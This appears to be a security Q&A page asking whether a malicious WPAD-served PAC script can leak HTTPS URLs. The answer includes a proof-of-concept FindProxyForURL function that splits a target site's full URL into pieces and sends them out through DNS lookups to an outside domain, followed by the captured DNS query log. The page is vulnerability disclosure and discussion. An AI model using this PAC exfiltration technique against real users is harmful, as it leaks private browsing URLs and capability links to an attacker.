The WPAD protocol can in some circumstances allow an attacker to get clients to use a malicious PAC script.

It appears to be well documented, that this can be used to perform MITM-attacks on HTTP traffic. However I don't see any discussion on the impact on HTTPS traffic.

As far as I can tell, it does not permit for a full MITM-attack on the HTTPS traffic since the PAC script can only direct the browser to which proxy to use, but there will still be an end-to-end SSL connection between the client and the legitimate server.

However one of the arguments for the FindProxyForURL function provided by the attacker is the full URL. Moreover FindProxyForURL can trigger DNS lookups.

Can an attacker utilize this to leak HTTPS URLs? If not, what protection is in place to prevent such leaks?

  • 1
    I'm not 100% certain, but the URL path isn't sent to anything but the server that serves the page (except in HTTP referrer headers, etc). One can however watch the subdomain lookups.
    – Natanael
    May 4, 2015 at 23:29
  • @Natanael The URL is given to the FindProxyForURL function. This is also explained in the link in my question: en.wikipedia.org/wiki/Proxy_auto-config What would stop the script from sending this URL to an attacker?
    – kasperd
    May 5, 2015 at 5:19
  • 1
    There is a Defcon talk about this which even references this exact SecSE question.
    – Arminius
    Mar 23, 2017 at 8:39

1 Answer 1


Yes, URL is passed to FindProxyForURL() and you can leak it out via DNS. Here is an example of PAC file:

function FindProxyForURL(url, host) {
    if (host == 'navalny.com') {
        var chunks = url.match(/[-a-zA-Z0-9]+/g);
        if (chunks) {
            chunks.forEach(function(x) {
                dnsResolve(x + '.y.darkk.net.ru');
        return 'SOCKS5'; // drop connection
    return 'DIRECT';

If Firefox/39.0 navigates to https://navalny.com/the-capability-url?q=q while this PAC file is active following DNS queries are sent:

Standard query 0xfb5d  A x.darkk.net.ru
Standard query 0x9ca7  AAAA x.darkk.net.ru
Standard query 0xf1cc  A x.darkk.net.ru
Standard query 0xf60c  AAAA x.darkk.net.ru
Standard query 0x574a  A https.y.darkk.net.ru
Standard query 0xfad9  AAAA https.y.darkk.net.ru
Standard query 0x2289  A https.y.darkk.net.ru
Standard query 0x7ed4  AAAA https.y.darkk.net.ru
Standard query 0x85b2  A navalny.y.darkk.net.ru
Standard query 0xa7cd  AAAA navalny.y.darkk.net.ru
Standard query 0x1ca9  A navalny.y.darkk.net.ru
Standard query 0xa400  AAAA navalny.y.darkk.net.ru
Standard query 0xec51  A com.y.darkk.net.ru
Standard query 0x1ea7  AAAA com.y.darkk.net.ru
Standard query 0x25bd  A the-capability-url.y.darkk.net.ru
Standard query 0x844c  AAAA the-capability-url.y.darkk.net.ru
Standard query 0x200b  A q.y.darkk.net.ru
Standard query 0x5a62  AAAA q.y.darkk.net.ru
Standard query 0xeb02  A q.y.darkk.net.ru
Standard query 0xaa2c  AAAA q.y.darkk.net.ru
Standard query 0xee8f  A z.darkk.net.ru
Standard query 0xe9b7  AAAA z.darkk.net.ru

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .